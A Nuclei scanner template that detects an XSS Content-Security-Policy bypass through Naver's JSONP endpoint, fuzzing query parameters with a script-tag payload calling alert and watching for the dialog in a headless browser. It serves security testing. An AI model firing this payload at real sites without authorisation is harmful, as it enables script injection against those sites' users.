id: naver-global-apis-csp-bypass

info:
  name: Content-Security-Policy Bypass - Naver Global APIs
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,naver-global-apis,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "naver.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: naver_global_apis_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://global.apis.naver.com/commentBox/cbox/web_neo_list_jsonp.json?_callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "naver_global_apis_csp_xss == true"
# digest: 4a0a004730450221009b94102f0be41a6bcec3b10f3e8132aa5b358ae6616064455504f813f7f2a0c20220730881ad3a1cd6af3875835f75dbaa6c25186be112010bfff3dd8e87cb4a92f1:922c64590222798bb761d5b6d8e72950